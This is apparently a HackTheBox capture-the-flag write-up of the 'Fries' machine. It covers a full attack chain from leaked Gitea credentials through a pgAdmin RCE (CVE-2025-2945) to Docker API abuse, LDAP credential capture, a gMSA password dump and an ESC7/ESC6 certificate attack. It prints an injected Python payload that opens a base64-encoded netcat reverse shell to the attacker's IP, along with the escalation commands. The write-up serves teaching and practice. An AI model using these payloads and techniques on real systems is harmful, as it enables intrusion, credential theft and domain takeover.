<< return to writeups

HTB: Fries

Introduction

Greetings! Today, we're diving into Fries, a hard-difficulty Windows machine from HackTheBox.

Our journey begins with web enumeration that uncovers a Gitea instance exposing database credentials in commit history, and a pgAdmin instance vulnerable to CVE-2025-2945 — a Remote Code Execution flaw that lands us a shell inside a Docker container.

From there, we leak credentials from environment variables and pivot onto the web host as svc. Process enumeration reveals a Docker API listening on port 2376, but access requires client certificates. We retrieve those certificates by abusing an exposed NFS share and use them to interact with Docker directly, eventually gaining a root shell inside the pwm container. Inside, we find a PWM configuration file containing an encrypted LDAP proxy password.

After cracking the password and logging in, we modify the PWM configuration to redirect LDAP connections to our machine, stand up a Responder listener, and capture the cleartext credentials for svc_infra. With those credentials we authenticate to the domain, dump the gMSA password for gMSA_CA_prod$ using gMSADumper, and gain a WinRM shell on the domain controller.

The final escalation exploits ESC7 on the certificate authority: since gMSA_CA_prod$ holds the ManageCA right, we add svc_infra as an officer, enable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (ESC6) using Certify, and request a certificate on behalf of Administrator. With that certificate in hand, we authenticate via Certipy and retrieve the NT hash of the Administrator account, completing our takeover of the domain.

Without further ado, let's get into it.

Scanning

We used nmap to perform a full TCP port scan on the target.

┌──(kali㉿kali)-[~/Documents/htb/fries]
└─$ nmap -sSCV -p- -T4 -oA scan/nmap.tcp fries.htb   
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-13 13:26 EDT
Nmap scan report for fries.htb (10.129.244.72)
Host is up (0.053s latency).
Not shown: 65510 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          nginx 1.18.0 (Ubuntu)
|_http-title: Welcome to Fries - Fries Restaurant
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: fries.htb0.)
| ssl-cert: Subject Alternative Name: DNS:DC01.fries.htb, DNS:fries.htb, DNS:FRIES
443/tcp   open  ssl/http      nginx 1.18.0 (Ubuntu)
| ssl-cert: Subject: commonName=pwm.fries.htb
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
...
Service Info: Host: DC01; OSs: Linux, Windows

The scan reveals a mixed environment — a Linux web server fronting what is clearly a Windows Active Directory domain (fries.htb, DC: DC01). Notable services include SSH, HTTP/HTTPS on the web side, and Kerberos, LDAP, SMB, and WinRM on the Windows side. The SSL certificate on port 443 hints at a subdomain: pwm.fries.htb.

We also ran a quick UDP scan.

┌──(kali㉿kali)-[~/Documents/htb/fries]
└─$ nmap -sU -oA scan/nmap.udp fries.htb
PORT    STATE SERVICE
53/udp  open  domain
88/udp  open  kerberos-sec
123/udp open  ntp
389/udp open  ldap

Enumerating SMB

Before touching the web, we checked the usual Windows services. Neither anonymous nor the provided credentials d.cooper:D4LE11maan!! gave us any access to SMB.

┌──(kali㉿kali)-[~/Documents/htb/fries]
└─$ crackmapexec smb fries.htb -u d.cooper -p 'D4LE11maan!!'
SMB  fries.htb  445  DC01  [-] fries.htb\d.cooper:D4LE11maan!! STATUS_LOGON_FAILURE

enum4linux confirmed the domain SID (S-1-5-21-858338346-3861030516-3975240472) but didn't yield anything further. Similarly, WinRM with the same credentials returned a failure.

In simpler terms, those credentials didn't open any doors just yet.

Enumerating web

fries.htb

Visiting http://fries.htb presents a static restaurant website for a fictional "Fries" brand. dirsearch only surfaced /about and /menu, nothing exploitable.

┌──(kali㉿kali)-[~/Documents/htb/fries]
└─$ dirsearch -u http://fries.htb/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt                                      
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 220544

Output File: /home/kali/Documents/htb/fries/reports/http_fries.htb/__26-03-13_13-52-59.txt

Target: http://fries.htb/

[13:52:59] Starting: 
[13:53:00] 200 -   15KB - /about                                            
[13:53:01] 200 -   19KB - /menu                                             

Task Completed

Subdomain Enumeration

We ran wfuzz to look for virtual hosts.

┌──(kali㉿kali)-[~/Documents/htb/fries]
└─$ wfuzz -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  -H "Host: FUZZ.fries.htb" --hw 10 10.129.244.72

000000573:   200   271 L   1216 W   13479 Ch   "code"

This revealed code.fries.htb — let's explore it.

code.fries.htb

Navigating to code.fries.htb brings up a self-hosted Gitea instance. Browsing the public repositories and digging through commit history turned up some very interesting findings.

Sensitive credentials were left exposed in an old commit:

DATABASE_URL=postgresql://root:PsqLR00tpaSS11@172.18.0.3:5432/ps_db
SECRET_KEY=y0st528wn1idjk3b9a

Another commit revealed an internal hostname:

http://db-mgmt05.fries.htb

Browsing through issues and contacts in the repository also confirmed the existence of a user svc, and an alternate mail address for d.cooper. We added db-mgmt05.fries.htb to our hosts file and moved on.

db-mgmt05.fries.htb

This subdomain hosts a pgAdmin instance. We tried logging in with d.cooper@fries.htb / D4LE11maan!! and it worked.

RCE via CVE-2025-2945

With authenticated access to pgAdmin, we looked for known vulnerabilities and found CVE-2025-2945 — a Remote Code Execution vulnerability in the query tool download endpoint. The vulnerability allows injecting arbitrary Python code through the query_commited parameter.

We first confirmed code execution by triggering a ping back to our machine.

POST /sqleditor/query_tool/download/5541463 HTTP/1.1
Host: db-mgmt05.fries.htb
Content-Type: application/json

{"filename":"data-1773434931792.csv","query_commited":"__import__('os').system('ping -c4 10.10.14.102')"}
┌──(kali㉿kali)-[~/Documents/htb/fries]
└─$ sudo tcpdump -i tun0 icmp
16:51:44.961303 IP fries.htb > 10.10.14.102: ICMP echo request
16:51:44.965743 IP 10.10.14.102 > fries.htb: ICMP echo reply

The ICMP hits confirmed RCE. We then upgraded to a reverse shell using a base64-encoded payload.

Shell as pgadmin

POST /sqleditor/query_tool/download/5541463 HTTP/1.1
Host: db-mgmt05.fries.htb
Content-Type: application/json

{"filename":"data-1773434931792.csv","query_commited":"__import__('os').system('echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnxiYXNoIC1pIDI+JjF8bmMgMTAuMTAuMTQuMTAyIDkwMDEgPi90bXAvZg== | base64 -d | bash')"}
┌──(kali㉿kali)-[~/Documents/htb/fries]
└─$ rlwrap nc -nlvp 9001
connect to [10.10.14.102] from (UNKNOWN) [10.129.244.72] 49865
cb46692a4590:/pgadmin4$ id
uid=5050(pgadmin) gid=0(root) groups=0(root)

We landed a shell inside the pgAdmin Docker container.

Enumerating the pgadmin container

The first thing we checked was the environment variables, and they immediately gave us something valuable.

cb46692a4590:/pgadmin4$ env
PGADMIN_DEFAULT_PASSWORD=Friesf00Ds2025!!
PGADMIN_DEFAULT_EMAIL=admin@fries.htb
HOSTNAME=cb46692a4590
...

The password Friesf00Ds2025!! was stored in plaintext in the environment. This was likely reused elsewhere, and we noted it for later.

Shell as svc

We used Hydra to spray the recovered password against SSH, with a wordlist of usernames we'd collected from the Gitea repositories and other enumeration.

┌──(venv)─(kali㉿kali)-[~/Documents/htb/fries]
└─$ hydra -L scan/users.txt -P scan/pwds.txt ssh://10.129.5.24
[22][ssh] host: 10.129.5.24   login: svc   password: Friesf00Ds2025!!
1 of 1 target successfully completed, 1 valid password found

The password matched the svc user, confirming our earlier finding of their username from the Gitea contacts.

┌──(venv)─(kali㉿kali)-[~/Documents/htb/fries]
└─$ ssh svc@fries.htb
svc@web:~$

We now have a shell on the web host — the Linux machine running the Docker containers.

Enumerating the web server

We ran pspy to observe background processes, and netstat to check which ports were listening.

Among the interesting findings from pspy, a cron job running every minute was calling restore-certs.sh, which was copying TLS certificates into /srv/web.fries.htb/certs/ and setting their ownership to root:infra managers. This path immediately caught our attention.

netstat also showed that 127.0.0.1:2376 was open — the Docker API over TLS.

svc@web:/tmp$ netstat -tulpn
tcp   0.0.0.0:2049  LISTEN  -          # NFS
tcp   127.0.0.1:2376  LISTEN  -        # Docker TLS API
tcp   0.0.0.0:8443  LISTEN  -
...

The Docker API requires client TLS certificates to interact with. The cron job hint about /srv/web.fries.htb/certs/ suggested those certificates might be accessible somewhere.

Accessing NFS

We checked the NFS exports.

svc@web:/tmp$ showmount -e localhost
Export list for localhost:
/srv/web.fries.htb/certs  *

The certificate directory was exported via NFS! Since the files were owned by root:infra managers and we needed to match the GID to read them, we used nfsshell to impersonate the right UID/GID.

nfs> host fries.htb
nfs> mount /srv/web.fries.htb/certs
nfs> ls -l
-rw-r-----  ca-key.pem
-rw-r-----  ca.pem
-rw-r-----  server-cert.pem
-rw-r-----  server-key.pem
-rw-r-----  server-openssl.cnf
-rw-r-----  server.csr

We dumped ca-key.pem and ca.pem — the CA private key and certificate used to sign Docker client certs.

Accessing the docker API

With the CA key and certificate in hand, we generated our own client certificate signed by the CA.

┌──(kali㉿kali)-[~/…/htb/fries/loot/nfs]
└─$ openssl genrsa -out key.pem 4096
┌──(kali㉿kali)-[~/…/htb/fries/loot/nfs]
└─$ openssl req -subj '/CN=root' -new -key key.pem -out client.csr
┌──(kali㉿kali)-[~/…/htb/fries/loot/nfs]
└─$ echo extendedKeyUsage = clientAuth >> extfile-client.cnf
┌──(kali㉿kali)-[~/…/htb/fries/loot/nfs]
└─$ openssl x509 -req -days 365 -sha256 -in client.csr -CA ca.pem \
  -CAkey ca-key.pem -CAcreateserial -out cert.pem -extfile extfile-client.cnf
Certificate request self-signature ok
subject=CN=root

We forwarded port 2376 over SSH and verified access to the Docker API.

┌──(kali㉿kali)-[~/…/htb/fries/loot/nfs]
└─$ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem \
  -H=tcp://127.0.0.1:2376 ps
CONTAINER ID  IMAGE                   NAMES
f427ecaa3bdd  pwm/pwm-webapp:latest   pwm
cb46692a4590  dpage/pgadmin4:9.1.0    pgadmin4
bfe752a26695  fries-web               web
858fdf51af59  postgres:16             postgres
b916aad508e2  gitea/gitea:1.22.6      gitea

We could now exec directly into any container. We targeted the pwm container since it's running the password management application and executes as root.

┌──(kali㉿kali)-[~/…/htb/fries/loot/nfs]
└─$ docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem \
  -H=tcp://127.0.0.1:2376 exec -it f427ecaa3bdd sh
# id
uid=0(root) gid=0(root) groups=0(root)

Cracking the pwm config

Inside the pwm container, we found the application configuration at /config/PwmConfiguration.xml. This file contained a bcrypt hash for the PWM admin password and an encrypted LDAP proxy password for svc_infra.

<property key="configPasswordHash">$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG</property>
...
<value>ENC-PW:oF4OfldGCHrbhPuevlVNUl2wkgUFlqTwZtjoks/G2peQhAo1lKDFaQxK7bZB67s4...</value>

We cracked the bcrypt hash with john.

┌──(kali㉿kali)-[~/Documents/htb/fries/loot]
└─$ john pwn-config-hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
rockon!          (?)     
1 of 1 target successfully completed

The admin password for the PWM configuration editor is rockon!.

Modifying PWM Config to Capture LDAP Credentials

Since the LDAP proxy password was encrypted and tied to the PWM security key, we couldn't decrypt it directly. Instead, we modified the LDAP server URL inside PwmConfiguration.xml to point to our machine's IP and port 389, then started a Responder listener.

When PWM attempted to bind using the proxy user credentials, Responder captured them in cleartext.

[LDAP] Cleartext Client   : 10.129.244.72
[LDAP] Cleartext Username : CN=svc_infra,CN=Users,DC=fries,DC=htb
[LDAP] Cleartext Password : m6tneOMAh5p0wQ0d

We verified these credentials worked against SMB.

┌──(kali㉿kali)-[~/Documents/htb/fries]
└─$ crackmapexec smb 10.129.244.72 -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d'
SMB  10.129.244.72  445  DC01  [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d

WinRM didn't work, but SSH did.

┌──(kali㉿kali)-[~/Documents/htb/fries]
└─$ hydra -l 'svc_infra' -p 'm6tneOMAh5p0wQ0d' ssh://10.129.244.72
[22][ssh] host: 10.129.244.72   login: svc_infra   password: m6tneOMAh5p0wQ0d

Pivoting with ligolo

The DC (DC01) is on an internal subnet 192.168.100.0/24 not directly reachable from us. We pivoted using ligolo-ng.

svc_infra@web:~$ ./agent_linux_amd64 -connect 10.10.14.102:11601 -ignore-cert
INFO[0000] Connection established  addr="10.10.14.102:11601"
[Agent : svc_infra@web] » tunnel_start

After adding the route for 192.168.100.0/24, we could reach the DC directly.

┌──(kali㉿kali)-[~]
└─$ ping -c4 192.168.100.1
64 bytes from 192.168.100.1: icmp_seq=1 ttl=64 time=60.6 ms

Enter the hound

With domain access through svc_infra, we collected AD objects using BloodHound.

┌──(kali㉿kali)-[~/Documents/htb/fries/hound]
└─$ bloodhound-python -c All -u svc_infra -p 'm6tneOMAh5p0wQ0d' \
  -d fries.htb -ns 192.168.100.1 --dns-tcp
INFO: Found 19 users, 54 groups, 2 computers

Analysing the results in BloodHound revealed several interesting things. There were custom groups including infra managers and Service account managers. More importantly, svc_infra had the ReadGMSAPassword right over gMSA_CA_prod$. We also spotted a group called Restricted Admins that was a member of the domain's Remote Management Users.

Dumping the gMSA password

Since svc_infra can read the gMSA password for gMSA_CA_prod$, we used gMSADumper to retrieve it.

┌──(venv)─(kali㉿kali)-[~/Documents/gMSADumper]
└─$ python gMSADumper.py -u 'svc_infra' -p 'm6tneOMAh5p0wQ0d' \
  -d 'fries.htb' -l '192.168.100.1'
Users or groups who can read password for gMSA_CA_prod$:
 > svc_infra
gMSA_CA_prod$:::27e126bdd4ae61c18377c4f8dd42fa86

Shell as gMSA_CA_prod$

We used the NT hash directly with evil-winrm.

┌──(kali㉿kali)-[~/Documents/htb/fries/hound]
└─$ evil-winrm -i fries.htb -u 'gMSA_CA_prod$' -H '27e126bdd4ae61c18377c4f8dd42fa86'

*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>

Privilege escalation

Enumerating Certificate Authority with Certipy

With gMSA_CA_prod$ access, we enumerated the ADCS setup.

┌──(venv)─(kali㉿kali)-[~/Documents/gMSADumper]
└─$ certipy-ad find -u 'gMSA_CA_prod$' -hashes ':27e126bdd4ae61c18377c4f8dd42fa86' \
  -dc-ip 10.129.6.200

The scan revealed a critical finding:

Certificate Authorities
  0
    CA Name     : fries-DC01-CA
    Permissions
      ManageCa  : FRIES.HTB\gMSA_CA_prod
    [!] Vulnerabilities
      ESC7      : User has dangerous permissions.

gMSA_CA_prod$ holds the ManageCA right on fries-DC01-CA, which corresponds to ESC7. This means we can add users as CA officers and manipulate CA configuration.

Exploiting ESC7 → ESC6 → Admin Certificate

The plan was to chain ESC7 into ESC6. Since gMSA_CA_prod$ has ManageCA, we first added svc_infra as an officer (granting ManageCertificates).

┌──(kali㉿kali)-[~/Documents/gMSADumper]
└─$ certipy-ad ca -u 'gMSA_CA_prod$@fries.htb' -hashes ':27e126bdd4ae61c18377c4f8dd42fa86' \
  -ca 'fries-DC01-CA' -add-officer 'svc_infra' -dc-ip 10.129.6.200
[*] Successfully added officer 'svc_infra' on 'fries-DC01-CA'

Next, we used Certify (uploaded to the gMSA_CA_prod$ WinRM session) to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 flag (ESC6), which allows any enrollee to specify a SAN in their certificate request.

*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> .\Certify.exe manage-ca \
  --ca DC01.FRIES.HTB\fries-DC01-CA --esc6

[*] The EDITF_ATTRIBUTESUBJECTALTNAME2 flag is not set, toggling it on.
[*] Successfully set the EditFlags configuration on the CA.
[*] Successfully restarted the CA service.

With ESC6 now enabled, svc_infra (which already had access to the User template) could request a certificate with any UPN in the SAN — including administrator@fries.htb. We also needed to supply the correct SID to avoid the conflicting-SID issue.

┌──(kali㉿kali)-[~/Documents/gMSADumper]
└─$ certipy-ad req -u 'svc_infra@fries.htb' -p 'm6tneOMAh5p0wQ0d' \
  -ca 'fries-DC01-CA' -template 'User' -upn 'administrator@fries.htb' \
  -dc-ip 192.168.100.1 -sid S-1-5-21-858338346-3861030516-3975240472-500

[*] Got certificate with UPN 'administrator@fries.htb'
[*] Certificate object SID is 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Saving certificate and private key to 'administrator.pfx'

We then authenticated with the certificate to retrieve the Administrator's NT hash. Note: we had to sync the clock first due to a KRB_AP_ERR_SKEW error.

┌──(kali㉿kali)-[~/Documents/gMSADumper]
└─$ sudo ntpdate -u 10.129.6.200
time stepped by 25169.169985

┌──(kali㉿kali)-[~/Documents/gMSADumper]
└─$ certipy-ad auth -pfx 'administrator.pfx' -dc-ip 192.168.100.1

[*] Got hash for 'administrator@fries.htb': aad3b435b51404eeaad3b435b51404ee:a773cb05d79273299a684a23ede56748

With the Administrator hash, we logged in via evil-winrm.

┌──(kali㉿kali)-[~/Documents/gMSADumper]
└─$ evil-winrm -i fries.htb -u 'administrator' -H 'a773cb05d79273299a684a23ede56748'

*Evil-WinRM* PS C:\Users\Administrator\Documents>

And there it was — the root flag, ready to be captured.

Conclusion

In summary, we kicked things off by finding sensitive credentials left in Gitea commit history, which led us to a pgAdmin instance vulnerable to CVE-2025-2945. Exploiting the RCE gave us a foothold in a Docker container, where leaked environment variables provided the password to SSH onto the host as svc.

From there, process enumeration exposed a Docker API protected by TLS certificates we could steal from an open NFS share. Using those certificates, we gained root inside the pwm container and found an encrypted LDAP password that we tricked the application into sending to us in cleartext via Responder.

Those domain credentials allowed us to dump the gMSA_CA_prod$ password, which in turn gave us a shell on the DC. The final piece was abusing the ManageCA right to enable ESC6 and request a certificate as Administrator, ultimately handing us the domain.

That's a wrap on Fries. Thanks for following along — see you in the next one!